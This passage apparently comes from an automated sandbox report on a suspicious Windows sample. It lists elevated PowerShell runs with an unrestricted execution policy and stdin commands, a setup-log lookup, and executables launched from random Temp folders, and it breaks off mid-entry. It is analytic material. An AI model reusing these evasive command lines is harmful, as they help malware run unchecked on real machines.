                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:22
                                                                                                                                                                                                                                        Start time:04:17:43
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\findstr.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log"
                                                                                                                                                                                                                                        Imagebase:0x7ff6361a0000
                                                                                                                                                                                                                                        File size:36'352 bytes
                                                                                                                                                                                                                                        MD5 hash:804A6AE28E88689E0CF1946A6CB3FEE5
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:23
                                                                                                                                                                                                                                        Start time:04:17:44
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:24
                                                                                                                                                                                                                                        Start time:04:17:44
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:25
                                                                                                                                                                                                                                        Start time:04:17:44
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:26
                                                                                                                                                                                                                                        Start time:04:17:44
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:27
                                                                                                                                                                                                                                        Start time:04:17:44
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:28
                                                                                                                                                                                                                                        Start time:04:17:44
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:29
                                                                                                                                                                                                                                        Start time:04:17:44
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:30
                                                                                                                                                                                                                                        Start time:04:17:44
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:31
                                                                                                                                                                                                                                        Start time:04:17:44
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:32
                                                                                                                                                                                                                                        Start time:04:17:44
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:33
                                                                                                                                                                                                                                        Start time:04:17:44
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:34
                                                                                                                                                                                                                                        Start time:04:17:44
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:35
                                                                                                                                                                                                                                        Start time:04:17:44
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:36
                                                                                                                                                                                                                                        Start time:04:17:44
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:37
                                                                                                                                                                                                                                        Start time:04:17:50
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:38
                                                                                                                                                                                                                                        Start time:04:17:50
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:39
                                                                                                                                                                                                                                        Start time:04:17:52
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:40
                                                                                                                                                                                                                                        Start time:04:17:52
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:41
                                                                                                                                                                                                                                        Start time:04:17:53
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:42
                                                                                                                                                                                                                                        Start time:04:17:53
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:43
                                                                                                                                                                                                                                        Start time:04:17:53
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:44
                                                                                                                                                                                                                                        Start time:04:17:53
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:45
                                                                                                                                                                                                                                        Start time:04:17:53
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:46
                                                                                                                                                                                                                                        Start time:04:17:54
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:47
                                                                                                                                                                                                                                        Start time:04:17:54
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff71e800000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:48
                                                                                                                                                                                                                                        Start time:04:17:54
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:49
                                                                                                                                                                                                                                        Start time:04:17:54
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:50
                                                                                                                                                                                                                                        Start time:04:17:54
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:51
                                                                                                                                                                                                                                        Start time:04:17:54
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:52
                                                                                                                                                                                                                                        Start time:04:17:54
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:53
                                                                                                                                                                                                                                        Start time:04:17:54
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:54
                                                                                                                                                                                                                                        Start time:04:17:54
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:56
                                                                                                                                                                                                                                        Start time:04:19:38
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:"C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\dkqjnjumskmeurhg" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1816 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
                                                                                                                                                                                                                                        Imagebase:0x7ff7405d0000
                                                                                                                                                                                                                                        File size:160'084'992 bytes
                                                                                                                                                                                                                                        MD5 hash:879FC7D89F422B0CF9172FDE5F5F207F
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:57
                                                                                                                                                                                                                                        Start time:04:19:38
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe""
                                                                                                                                                                                                                                        Imagebase:0x7ff75adf0000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:58
                                                                                                                                                                                                                                        Start time:04:19:38
